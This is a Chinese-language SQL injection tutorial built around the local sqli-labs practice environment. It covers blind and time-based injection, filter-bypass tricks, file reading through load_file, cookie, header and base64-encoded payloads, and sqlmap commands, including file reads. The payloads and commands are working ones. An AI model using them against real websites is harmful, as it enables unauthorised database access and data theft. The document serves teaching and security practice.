介绍: SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库任意操作。
根据注入位置数据类型:
根据返回结果:
GET提交: 请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL 和传输数据,多个参数用&连接
POST提交: 把提交的数据放置在是HTTP包的包体中。
通过url中修改对应的ID值,为正常数字、字符(单引号,双引号,括号)、反斜线来探测url中是否存在注入点
Blind SQL(盲注)是注入攻击的其中一种,向数据库发生true或false这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题
使用示例:
当数据库名第一个字母的ASCII码等于115时,执行一次sleep(3)函数等待3秒
if(ascii(substr(database(),1,1))=115,1,sleep(3))
常用猜解字符串码:
SQL语句 | 显示状态 | 说明状态 |
---|---|---|
((select length(database()))>5) | 正常 | true |
((select length(database()))>10) | 无显示 | false |
((select length(database()))>7) | 正常 | true |
((select length(database()))>8) | 无显示 | false |
((select ascii(substr(database(),1,1)))>75) | 正常 | true |
((select ascii(substr(database(), 1,1)))>100) | 正常 | true |
((select ascii(substr(database(), 1,1)))>113) | 正常 | true |
((select ascii(substr(database(), 1,1)))>119) | 无显示 | false |
((select ascii(substr(database(), 1,1)))>116) | 无显示 | false |
((select ascii(substr(database(), 1,1)))>114) | 正常 | true |
((select ascii(substr(database(), 1,1)))>115) | 无显示 | false |
select length(database()); select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
特点:
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完成修改任务
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完成修改任务
在存在注入点POST提交的参数后加
and (select (if(length(database())>5,sleep(5),null))) --
如果执行的页面响应时间大于5秒,肯定就存在注入,并且对应的SQL语句执行
在存在注入点POST提交的参数后加入if判断语句
select length(database()); select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。
例如: and 过滤,当然这种过滤只是发现关键字出现,并不会对关键字处理
介绍: 通过修改关键字内字母大小写来绕过过滤措施。
例如:
AnD 1=1
order by 可以使用 OrdER来进行绕过
介绍: 如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。就是将关键字替换为空
例如:
uniunionon union替换为空,也可以结合大小写绕过
介绍: 可以利用URL编码工具,绕过SQL注入的过滤机制
URL编码工具: http://tool.chinaz.com/Tools/urlencode.aspx
介绍: 在MySQL中内联注释中的内容可以被当做SQL语句执行
例如:
/*!select*/ * from users;
介绍: MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行 对文件进行读写(前提是权限足够)
读取前提:
读取文件内容示例: http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('D:\\1.txt'),3 --+
show variables like '%general%'; # 默认是关闭的
set global general\_log = on;
利用SQLMAP进行读写文件:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "D:\\\\1.t xt"
介绍: 在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤
示例: UPDATEXML (XML_document, XPath_string, new_value);
解析:
示例: ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
示例: ' or if(1=1,sleep(5),null) or '1'='1
介绍: 服务器可以利用cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。cookies最经典的应用就是判断用户是否已经登录网站。
介绍: 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
注入的payload示例:
Cookie: uname=admin' or 1=1 --+
Cookie: uname=admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
sqlmap -r target.txt --level 3 --batch
介绍: base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。base64是网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符 来表示二进制数据的方法将原始内容转换为二进制,从左到右依次取6位,然后在最高补两位0,形成新的内容.。
编码规则:
base64加密网址: http://tool.oschina.net/encrypt?type=3
注释: 如果报出Warning: date(): 在php.ini中设置date.timezone的值为PRC,设置好以后的为:date.timezone=PRC
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
示例:
IiBvciAxPTEgIw==
python sqlmap.py -r target.txt --level 3 --tamper base64encode.py
注释符的作用: 用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
MySQL中的注释符:
说明: 对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
利用注释符过滤不能成功闭合单引号,换一种思路利用 or ‘1’ = '1闭合单引号
示例: http://127.0.0.1/sqli/Less-23/?id=1' --+
python sqlmap.py -u "http://127.0.0.1/sqli/Less-25/?id=1" --dbs --batch
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
python sqlmap.py -u "http://127.0.0.1/sqli/Less-25/?id=1" --hex --dbs --batch